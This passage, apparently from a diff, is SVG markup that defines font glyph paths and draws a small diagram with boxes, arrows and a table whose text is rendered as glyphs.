-1.160156 2.140625 -1.015625 C 2.234375 -0.867188 2.363281 -0.796875 2.53125 -0.796875 C 2.726562 -0.796875 2.96875 -0.847656 3.25 -0.953125 L 3.34375 -0.109375 C 3.21875 -0.0234375 3.039062 0.0351562 2.8125 0.078125 C 2.582031 0.128906 2.375 0.15625 2.1875 0.15625 C 1.8125 0.15625 1.507812 0.0390625 1.28125 -0.1875 C 1.050781 -0.414062 0.9375 -0.816406 0.9375 -1.390625 L 0.9375 -10.265625 L 2 -10.265625 Z M 2 -1.75 "/> +</symbol> +<symbol overflow="visible" id="glyph1-30"> +<path style="stroke:none;" d="M 0.671875 -7.15625 C 0.671875 -8.175781 0.890625 -8.976562 1.328125 -9.5625 C 1.765625 -10.15625 2.410156 -10.453125 3.265625 -10.453125 C 4.085938 -10.453125 4.726562 -10.144531 5.1875 -9.53125 C 5.644531 -8.925781 5.875 -8 5.875 -6.75 C 5.875 -5.644531 5.769531 -4.679688 5.5625 -3.859375 C 5.351562 -3.046875 5.066406 -2.359375 4.703125 -1.796875 C 4.347656 -1.234375 3.925781 -0.789062 3.4375 -0.46875 C 2.945312 -0.144531 2.414062 0.0664062 1.84375 0.171875 L 1.5625 -0.6875 C 2.507812 -0.9375 3.238281 -1.425781 3.75 -2.15625 C 4.269531 -2.894531 4.597656 -3.820312 4.734375 -4.9375 C 4.535156 -4.65625 4.3125 -4.457031 4.0625 -4.34375 C 3.8125 -4.226562 3.476562 -4.171875 3.0625 -4.171875 C 2.75 -4.171875 2.445312 -4.226562 2.15625 -4.34375 C 1.875 -4.46875 1.625 -4.65625 1.40625 -4.90625 C 1.1875 -5.15625 1.007812 -5.46875 0.875 -5.84375 C 0.738281 -6.21875 0.671875 -6.65625 0.671875 -7.15625 Z M 1.75 -7.28125 C 1.75 -6.582031 1.890625 -6.046875 2.171875 -5.671875 C 2.453125 -5.304688 2.828125 -5.125 3.296875 -5.125 C 3.671875 -5.125 3.988281 -5.203125 4.25 -5.359375 C 4.507812 -5.523438 4.695312 -5.734375 4.8125 -5.984375 C 4.832031 -6.109375 4.84375 -6.226562 4.84375 -6.34375 C 4.84375 -6.46875 4.84375 -6.582031 4.84375 -6.6875 C 4.84375 -7.0625 4.8125 -7.414062 4.75 -7.75 C 4.6875 -8.09375 4.585938 -8.390625 4.453125 -8.640625 C 4.316406 -8.898438 4.144531 -9.109375 3.9375 -9.265625 C 3.738281 -9.421875 3.5 -9.5 3.21875 -9.5 C 2.757812 -9.5 2.398438 -9.296875 2.140625 -8.890625 C 1.878906 -8.492188 1.75 -7.957031 1.75 -7.28125 Z M 1.75 -7.28125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-31"> +<path style="stroke:none;" d="M 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.78125 L 1.96875 -6.78125 C 2.363281 -7.269531 2.894531 -7.515625 3.5625 -7.515625 C 4.3125 -7.515625 4.875 -7.210938 5.25 -6.609375 C 5.632812 -6.015625 5.828125 -5.070312 5.828125 -3.78125 C 5.828125 -2.457031 5.570312 -1.472656 5.0625 -0.828125 C 4.5625 -0.191406 3.851562 0.125 2.9375 0.125 C 2.488281 0.125 2.078125 0.078125 1.703125 -0.015625 C 1.328125 -0.117188 1.046875 -0.238281 0.859375 -0.375 Z M 1.921875 -1.078125 C 2.054688 -0.992188 2.222656 -0.929688 2.421875 -0.890625 C 2.628906 -0.847656 2.84375 -0.828125 3.0625 -0.828125 C 3.570312 -0.828125 3.972656 -1.066406 4.265625 -1.546875 C 4.566406 -2.035156 4.71875 -2.78125 4.71875 -3.78125 C 4.71875 -4.207031 4.691406 -4.585938 4.640625 -4.921875 C 4.585938 -5.253906 4.503906 -5.539062 4.390625 -5.78125 C 4.273438 -6.03125 4.128906 -6.222656 3.953125 -6.359375 C 3.773438 -6.492188 3.554688 -6.5625 3.296875 -6.5625 C 2.941406 -6.5625 2.648438 -6.453125 2.421875 -6.234375 C 2.191406 -6.023438 2.023438 -5.742188 1.921875 -5.390625 Z M 1.921875 -1.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-32"> +<path style="stroke:none;" d="M 5.9375 -3.09375 C 5.925781 -2.601562 5.863281 -2.15625 5.75 -1.75 C 5.644531 -1.34375 5.484375 -1 5.265625 -0.71875 C 5.046875 -0.4375 4.773438 -0.21875 4.453125 -0.0625 C 4.128906 0.09375 3.769531 0.171875 3.375 0.171875 C 2.550781 0.171875 1.90625 -0.125 1.4375 -0.71875 C 0.976562 -1.3125 0.75 -2.222656 0.75 -3.453125 C 0.75 -4.484375 0.851562 -5.40625 1.0625 -6.21875 C 1.269531 -7.03125 1.554688 -7.726562 1.921875 -8.3125 C 2.285156 -8.90625 2.710938 -9.378906 3.203125 -9.734375 C 3.691406 -10.085938 4.210938 -10.328125 4.765625 -10.453125 L 5.0625 -9.59375 C 4.625 -9.476562 4.222656 -9.28125 3.859375 -9 C 3.492188 -8.726562 3.175781 -8.394531 2.90625 -8 C 2.632812 -7.613281 2.40625 -7.175781 2.21875 -6.6875 C 2.039062 -6.195312 1.914062 -5.675781 1.84375 -5.125 C 1.976562 -5.382812 2.191406 -5.613281 2.484375 -5.8125 C 2.785156 -6.007812 3.15625 -6.109375 3.59375 -6.109375 C 4.300781 -6.109375 4.863281 -5.859375 5.28125 -5.359375 C 5.707031 -4.859375 5.925781 -4.101562 5.9375 -3.09375 Z M 4.875 -3 C 4.875 -4.4375 4.351562 -5.15625 3.3125 -5.15625 C 2.945312 -5.15625 2.628906 -5.035156 2.359375 -4.796875 C 2.097656 -4.566406 1.910156 -4.300781 1.796875 -4 C 1.785156 -3.875 1.78125 -3.75 1.78125 -3.625 C 1.78125 -3.507812 1.785156 -3.394531 1.796875 -3.28125 C 1.785156 -2.957031 1.8125 -2.644531 1.875 -2.34375 C 1.9375 -2.050781 2.03125 -1.785156 2.15625 -1.546875 C 2.289062 -1.316406 2.457031 -1.128906 2.65625 -0.984375 C 2.863281 -0.847656 3.101562 -0.78125 3.375 -0.78125 C 3.8125 -0.78125 4.171875 -0.972656 4.453125 -1.359375 C 4.734375 -1.753906 4.875 -2.300781 4.875 -3 Z M 4.875 -3 "/> +</symbol> +<symbol overflow="visible" id="glyph1-33"> +<path style="stroke:none;" d="M 6.328125 -3.15625 L 4.953125 -3.15625 L 4.953125 0 L 3.90625 0 L 3.90625 -3.15625 L 0.296875 -3.15625 L 0.296875 -3.65625 L 4.1875 -10.4375 L 4.953125 -10.4375 L 4.953125 -4.109375 L 6.328125 -4.109375 Z M 3.90625 -7.390625 L 4.078125 -8.65625 L 4.03125 -8.65625 L 3.59375 -7.53125 L 1.984375 -4.71875 L 1.421875 -4 L 2.234375 -4.109375 L 3.90625 -4.109375 Z M 3.90625 -7.390625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-34"> +<path style="stroke:none;" d="M 1.359375 -10.265625 L 2.46875 -10.265625 L 2.46875 -2.296875 C 2.46875 -1.492188 2.335938 -0.882812 2.078125 -0.46875 C 1.816406 -0.0625 1.363281 0.140625 0.71875 0.140625 C 0.5625 0.140625 0.375 0.117188 0.15625 0.078125 C -0.0625 0.046875 -0.238281 -0.0078125 -0.375 -0.09375 L -0.140625 -1.046875 C -0.046875 -0.984375 0.0546875 -0.9375 0.171875 -0.90625 C 0.296875 -0.875 0.425781 -0.859375 0.5625 -0.859375 C 0.738281 -0.859375 0.878906 -0.894531 0.984375 -0.96875 C 1.085938 -1.050781 1.171875 -1.164062 1.234375 -1.3125 C 1.296875 -1.457031 1.332031 -1.628906 1.34375 -1.828125 C 1.351562 -2.023438 1.359375 -2.253906 1.359375 -2.515625 Z M 1.359375 -10.265625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-35"> +<path style="stroke:none;" d="M 5.234375 -10.265625 L 5.234375 -9.25 L 2.453125 -9.25 L 2.453125 -6.25 L 2.953125 -6.296875 C 3.734375 -6.285156 4.347656 -6.015625 4.796875 -5.484375 C 5.242188 -4.953125 5.472656 -4.195312 5.484375 -3.21875 C 5.472656 -2.664062 5.390625 -2.175781 5.234375 -1.75 C 5.085938 -1.332031 4.878906 -0.976562 4.609375 -0.6875 C 4.347656 -0.40625 4.039062 -0.191406 3.6875 -0.046875 C 3.34375 0.0976562 2.96875 0.171875 2.5625 0.171875 C 1.894531 0.171875 1.351562 0.078125 0.9375 -0.109375 L 1.203125 -1.046875 C 1.378906 -0.953125 1.570312 -0.890625 1.78125 -0.859375 C 2 -0.828125 2.25 -0.8125 2.53125 -0.8125 C 3.09375 -0.8125 3.546875 -1.015625 3.890625 -1.421875 C 4.242188 -1.828125 4.425781 -2.394531 4.4375 -3.125 C 4.425781 -3.875 4.242188 -4.429688 3.890625 -4.796875 C 3.546875 -5.160156 3.066406 -5.34375 2.453125 -5.34375 L 1.484375 -5.265625 L 1.484375 -10.265625 Z M 5.234375 -10.265625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-36"> +<path style="stroke:none;" d="M 4.78125 -7.328125 L 6.09375 -3.046875 L 6.359375 -1.640625 L 6.375 -1.640625 L 6.609375 -3.078125 L 7.59375 -7.328125 L 8.59375 -7.328125 L 6.640625 0.15625 L 6.046875 0.15625 L 4.5625 -4.65625 L 4.359375 -5.890625 L 4.328125 -5.890625 L 4.125 -4.640625 L 2.6875 0.15625 L 2.078125 0.15625 L 0.078125 -7.328125 L 1.203125 -7.328125 L 2.328125 -3.0625 L 2.515625 -1.640625 L 2.53125 -1.640625 L 2.796875 -3.09375 L 4 -7.328125 Z M 4.78125 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-37"> +<path style="stroke:none;" d="M 1.0625 -10.265625 L 2.0625 -10.265625 L 1.6875 -7.4375 L 1.0625 -7.4375 Z M 1.0625 -10.265625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-38"> +<path style="stroke:none;" d="M 1.390625 0 L 4.359375 -8.671875 L 4.890625 -9.390625 L 4.1875 -9.265625 L 0.828125 -9.265625 L 0.828125 -10.265625 L 5.828125 -10.265625 L 5.828125 -9.875 L 2.453125 0 Z M 1.390625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-39"> +<path style="stroke:none;" d="M 1.125 -6.5625 C 1.125 -6.84375 1.1875 -7.050781 1.3125 -7.1875 C 1.445312 -7.320312 1.628906 -7.390625 1.859375 -7.390625 C 2.078125 -7.390625 2.253906 -7.320312 2.390625 -7.1875 C 2.523438 -7.050781 2.59375 -6.84375 2.59375 -6.5625 C 2.59375 -6.28125 2.523438 -6.070312 2.390625 -5.9375 C 2.253906 -5.800781 2.078125 -5.734375 1.859375 -5.734375 C 1.628906 -5.734375 1.445312 -5.800781 1.3125 -5.9375 C 1.1875 -6.070312 1.125 -6.28125 1.125 -6.5625 Z M 1.125 -0.65625 C 1.125 -0.9375 1.1875 -1.144531 1.3125 -1.28125 C 1.445312 -1.414062 1.628906 -1.484375 1.859375 -1.484375 C 2.078125 -1.484375 2.253906 -1.414062 2.390625 -1.28125 C 2.523438 -1.144531 2.59375 -0.9375 2.59375 -0.65625 C 2.59375 -0.375 2.523438 -0.164062 2.390625 -0.03125 C 2.253906 0.101562 2.078125 0.171875 1.859375 0.171875 C 1.628906 0.171875 1.445312 0.101562 1.3125 -0.03125 C 1.1875 -0.164062 1.125 -0.375 1.125 -0.65625 Z M 1.125 -0.65625 "/> +</symbol> +</g> +</defs> +<g id="surface20660"> +<rect x="0" y="0" width="441" height="407" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/> +<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 3.5 18.2 L 25.5 18.2 L 25.5 38.5 L 3.5 38.5 Z M 3.5 18.2 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13 25.994141 L 13 31.444141 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12.75 31.444141 L 13 31.944141 L 13.25 31.444141 Z M 12.75 31.444141 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15 26.555859 L 15 32.005859 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.25 26.555859 L 15 26.055859 L 14.75 26.555859 Z M 15.25 26.555859 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12 27.827539 L 16 27.827539 C 16.552344 27.827539 17 28.352344 17 29 C 17 29.647461 16.552344 30.172461 16 30.172461 L 12 30.172461 C 11.447656 30.172461 11 29.647461 11 29 C 11 28.352344 11.447656 27.827539 12 27.827539 Z M 12 27.827539 " transform="matrix(20,0,0,20,-69,-363)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="181.292969" y="225.892795"/> + <use xlink:href="#glyph0-2" x="191.848524" y="225.892795"/> + <use xlink:href="#glyph0-3" x="200.737413" y="225.892795"/> + <use xlink:href="#glyph0-4" x="207.959635" y="225.892795"/> + <use xlink:href="#glyph0-5" x="213.515191" y="225.892795"/> + <use xlink:href="#glyph0-6" x="219.070747" y="225.892795"/> + <use xlink:href="#glyph0-7" x="223.515191" y="225.892795"/> + <use xlink:href="#glyph0-8" x="232.40408" y="225.892795"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-9" x="101.15625" y="307.275608"/> + <use xlink:href="#glyph0-10" x="108.378472" y="307.275608"/> + <use xlink:href="#glyph0-11" x="116.434028" y="307.275608"/> + <use xlink:href="#glyph0-12" x="125.322917" y="307.275608"/> + <use xlink:href="#glyph0-8" x="130.045139" y="307.275608"/> + <use xlink:href="#glyph0-13" x="138.378472" y="307.275608"/> + <use xlink:href="#glyph0-14" x="142.545139" y="307.275608"/> + <use xlink:href="#glyph0-15" x="146.989583" y="307.275608"/> + <use xlink:href="#glyph0-5" x="155.878472" y="307.275608"/> + <use xlink:href="#glyph0-2" x="161.434028" y="307.275608"/> + <use xlink:href="#glyph0-16" x="170.322917" y="307.275608"/> + <use xlink:href="#glyph0-17" x="179.211806" y="307.275608"/> + <use xlink:href="#glyph0-3" x="188.100694" y="307.275608"/> + <use xlink:href="#glyph0-4" x="195.322917" y="307.275608"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.3 34 C 4.134375 34 4 34.134375 4 34.3 L 4 37.7 C 4 37.865625 4.134375 38 4.3 38 L 17.7 38 C 17.865625 38 18 37.865625 18 37.7 L 18 34.3 C 18 34.134375 17.865625 34 17.7 34 Z M 4.3 34 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(99.215686%,87.450981%,73.333335%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4 35.104102 L 18 35.104102 L 18 35.990039 L 4 35.990039 Z M 4 35.104102 " transform="matrix(20,0,0,20,-69,-363)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="18.78125" y="334.478841"/> + <use xlink:href="#glyph1-2" x="21.836806" y="334.478841"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-3" x="43.225694" y="334.478841"/> + <use xlink:href="#glyph1-4" x="49.614583" y="334.478841"/> + <use xlink:href="#glyph1-5" x="55.447917" y="334.478841"/> + <use xlink:href="#glyph1-6" x="64.892361" y="334.478841"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-7" x="92.114583" y="334.478841"/> + <use xlink:href="#glyph1-8" x="98.503472" y="334.478841"/> + <use xlink:href="#glyph1-1" x="102.392361" y="334.478841"/> + <use xlink:href="#glyph1-9" x="105.447917" y="334.478841"/> + <use xlink:href="#glyph1-6" x="110.447917" y="334.478841"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="141.003472" y="334.478841"/> + <use xlink:href="#glyph1-10" x="144.059028" y="334.478841"/> + <use xlink:href="#glyph1-2" x="147.114583" y="334.478841"/> + <use xlink:href="#glyph1-6" x="153.503472" y="334.478841"/> + <use xlink:href="#glyph1-11" x="159.614583" y="334.478841"/> + <use xlink:href="#glyph1-9" x="164.614583" y="334.478841"/> + <use xlink:href="#glyph1-8" x="169.892361" y="334.478841"/> + <use xlink:href="#glyph1-1" x="173.78125" y="334.478841"/> + <use xlink:href="#glyph1-7" x="176.836806" y="334.478841"/> + <use xlink:href="#glyph1-12" x="183.225694" y="334.478841"/> + <use xlink:href="#glyph1-1" x="187.392361" y="334.478841"/> + <use xlink:href="#glyph1-13" x="190.447917" y="334.478841"/> + <use xlink:href="#glyph1-3" x="196.836806" y="334.478841"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="214.336806" y="334.478841"/> + <use xlink:href="#glyph1-10" x="217.392361" y="334.478841"/> + <use xlink:href="#glyph1-10" x="220.447917" y="334.478841"/> + <use xlink:href="#glyph1-9" x="223.503472" y="334.478841"/> + <use xlink:href="#glyph1-4" x="228.78125" y="334.478841"/> + <use xlink:href="#glyph1-12" x="234.614583" y="334.478841"/> + <use xlink:href="#glyph1-6" x="238.503472" y="334.478841"/> + <use xlink:href="#glyph1-14" x="244.336806" y="334.478841"/> + <use xlink:href="#glyph1-13" x="250.725694" y="334.478841"/> + <use xlink:href="#glyph1-8" x="257.114583" y="334.478841"/> + <use xlink:href="#glyph1-15" x="261.003472" y="334.478841"/> + <use xlink:href="#glyph1-16" x="266.559028" y="334.478841"/> + <use xlink:href="#glyph1-1" x="271.559028" y="334.478841"/> + <use xlink:href="#glyph1-2" x="274.614583" y="334.478841"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-17" x="18.78125" y="352.822591"/> + <use xlink:href="#glyph1-18" x="25.447917" y="352.822591"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-19" x="43.225694" y="352.822591"/> + <use xlink:href="#glyph1-1" x="50.170139" y="352.822591"/> + <use xlink:href="#glyph1-20" x="53.225694" y="352.822591"/> + <use xlink:href="#glyph1-6" x="58.78125" y="352.822591"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-21" x="92.114583" y="352.822591"/> + <use xlink:href="#glyph1-22" x="98.78125" y="352.822591"/> + <use xlink:href="#glyph1-23" x="105.447917" y="352.822591"/> + <use xlink:href="#glyph1-23" x="112.114583" y="352.822591"/> + <use xlink:href="#glyph1-24" x="118.78125" y="352.822591"/> + <use xlink:href="#glyph1-23" x="121.28125" y="352.822591"/> + <use xlink:href="#glyph1-23" x="127.947917" y="352.822591"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="141.003472" y="352.822591"/> + <use xlink:href="#glyph1-10" x="144.059028" y="352.822591"/> + <use xlink:href="#glyph1-25" x="147.114583" y="352.822591"/> + <use xlink:href="#glyph1-26" x="153.503472" y="352.822591"/> + <use xlink:href="#glyph1-6" x="159.336806" y="352.822591"/> + <use xlink:href="#glyph1-2" x="165.447917" y="352.822591"/> + <use xlink:href="#glyph1-10" x="171.836806" y="352.822591"/> + <use xlink:href="#glyph1-24" x="174.614583" y="352.822591"/> + <use xlink:href="#glyph1-24" x="177.392361" y="352.822591"/> + <use xlink:href="#glyph1-24" x="180.170139" y="352.822591"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="214.336806" y="352.822591"/> + <use xlink:href="#glyph1-10" x="217.392361" y="352.822591"/> + <use xlink:href="#glyph1-10" x="220.447917" y="352.822591"/> + <use xlink:href="#glyph1-18" x="223.503472" y="352.822591"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-17" x="18.78125" y="371.170247"/> + <use xlink:href="#glyph1-27" x="25.447917" y="371.170247"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-28" x="43.225694" y="371.170247"/> + <use xlink:href="#glyph1-6" x="51.003472" y="371.170247"/> + <use xlink:href="#glyph1-29" x="57.114583" y="371.170247"/> + <use xlink:href="#glyph1-5" x="60.447917" y="371.170247"/> + <use xlink:href="#glyph1-6" x="69.892361" y="371.170247"/> + <use xlink:href="#glyph1-12" x="76.003472" y="371.170247"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-21" x="92.114583" y="371.170247"/> + <use xlink:href="#glyph1-18" x="98.78125" y="371.170247"/> + <use xlink:href="#glyph1-23" x="105.447917" y="371.170247"/> + <use xlink:href="#glyph1-24" x="112.114583" y="371.170247"/> + <use xlink:href="#glyph1-30" x="114.614583" y="371.170247"/> + <use xlink:href="#glyph1-30" x="121.28125" y="371.170247"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="141.003472" y="371.170247"/> + <use xlink:href="#glyph1-10" x="144.059028" y="371.170247"/> + <use xlink:href="#glyph1-31" x="147.114583" y="371.170247"/> + <use xlink:href="#glyph1-29" x="153.503472" y="371.170247"/> + <use xlink:href="#glyph1-4" x="156.836806" y="371.170247"/> + <use xlink:href="#glyph1-9" x="162.670139" y="371.170247"/> + <use xlink:href="#glyph1-20" x="167.947917" y="371.170247"/> + <use xlink:href="#glyph1-10" x="173.225694" y="371.170247"/> + <use xlink:href="#glyph1-24" x="176.003472" y="371.170247"/> + <use xlink:href="#glyph1-24" x="178.78125" y="371.170247"/> + <use xlink:href="#glyph1-24" x="181.559028" y="371.170247"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="214.336806" y="371.170247"/> + <use xlink:href="#glyph1-10" x="217.392361" y="371.170247"/> + <use xlink:href="#glyph1-10" x="220.447917" y="371.170247"/> + <use xlink:href="#glyph1-32" x="223.503472" y="371.170247"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-17" x="18.78125" y="389.513997"/> + <use xlink:href="#glyph1-33" x="25.447917" y="389.513997"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-34" x="43.225694" y="389.513997"/> + <use xlink:href="#glyph1-6" x="46.836806" y="389.513997"/> + <use xlink:href="#glyph1-8" x="52.947917" y="389.513997"/> + <use xlink:href="#glyph1-11" x="56.836806" y="389.513997"/> + <use xlink:href="#glyph1-6" x="61.836806" y="389.513997"/> + <use xlink:href="#glyph1-15" x="67.670139" y="389.513997"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-21" x="92.114583" y="389.513997"/> + <use xlink:href="#glyph1-27" x="98.78125" y="389.513997"/> + <use xlink:href="#glyph1-35" x="105.447917" y="389.513997"/> + <use xlink:href="#glyph1-24" x="112.114583" y="389.513997"/> + <use xlink:href="#glyph1-23" x="114.614583" y="389.513997"/> + <use xlink:href="#glyph1-23" x="121.28125" y="389.513997"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="141.003472" y="389.513997"/> + <use xlink:href="#glyph1-10" x="144.059028" y="389.513997"/> + <use xlink:href="#glyph1-36" x="147.114583" y="389.513997"/> + <use xlink:href="#glyph1-13" x="155.725694" y="389.513997"/> + <use xlink:href="#glyph1-5" x="162.114583" y="389.513997"/> + <use xlink:href="#glyph1-6" x="171.559028" y="389.513997"/> + <use xlink:href="#glyph1-3" x="177.670139" y="389.513997"/> + <use xlink:href="#glyph1-37" x="184.059028" y="389.513997"/> + <use xlink:href="#glyph1-11" x="186.003472" y="389.513997"/> + <use xlink:href="#glyph1-10" x="191.003472" y="389.513997"/> + <use xlink:href="#glyph1-24" x="193.78125" y="389.513997"/> + <use xlink:href="#glyph1-24" x="196.559028" y="389.513997"/> + <use xlink:href="#glyph1-24" x="199.336806" y="389.513997"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="214.336806" y="389.513997"/> + <use xlink:href="#glyph1-10" x="217.392361" y="389.513997"/> + <use xlink:href="#glyph1-10" x="220.447917" y="389.513997"/> + <use xlink:href="#glyph1-38" x="223.503472" y="389.513997"/> +</g> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4 35.104102 L 18 35.1 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 5.33457 34 L 5.33457 38 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.730078 34 L 7.730078 38 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.439258 34 L 10.439258 38 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 14.129492 34 L 14.129492 38 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.3 34 C 4.134375 34 4 34.134375 4 34.3 L 4 37.7 C 4 37.865625 4.134375 38 4.3 38 L 17.7 38 C 17.865625 38 18 37.865625 18 37.7 L 18 34.3 C 18 34.134375 17.865625 34 17.7 34 Z M 4.3 34 " transform="matrix(20,0,0,20,-69,-363)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-9" x="318.085938" y="307.271701"/> + <use xlink:href="#glyph0-10" x="325.30816" y="307.271701"/> + <use xlink:href="#glyph0-11" x="333.363715" y="307.271701"/> + <use xlink:href="#glyph0-12" x="342.252604" y="307.271701"/> + <use xlink:href="#glyph0-8" x="346.974826" y="307.271701"/> + <use xlink:href="#glyph0-13" x="355.30816" y="307.271701"/> + <use xlink:href="#glyph0-14" x="359.474826" y="307.271701"/> + <use xlink:href="#glyph0-3" x="363.919271" y="307.271701"/> + <use xlink:href="#glyph0-10" x="371.141493" y="307.271701"/> + <use xlink:href="#glyph0-4" x="379.197049" y="307.271701"/> + <use xlink:href="#glyph0-8" x="384.752604" y="307.271701"/> + <use xlink:href="#glyph0-18" x="393.085938" y="307.271701"/> + <use xlink:href="#glyph0-2" x="401.974826" y="307.271701"/> + <use xlink:href="#glyph0-5" x="410.863715" y="307.271701"/> + <use xlink:href="#glyph0-19" x="416.419271" y="307.271701"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20.3 34 C 20.134375 34 20 34.134375 20 34.3 L 20 37.7 C 20 37.865625 20.134375 38 20.3 38 L 23.7 38 C 23.865625 38 24 37.865625 24 37.7 L 24 34.3 C 24 34.134375 23.865625 34 23.7 34 Z M 20.3 34 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(99.215686%,87.450981%,73.333335%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20 35.104102 L 24 35.104102 L 24 35.990039 L 20 35.990039 Z M 20 35.104102 " transform="matrix(20,0,0,20,-69,-363)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="338.78125" 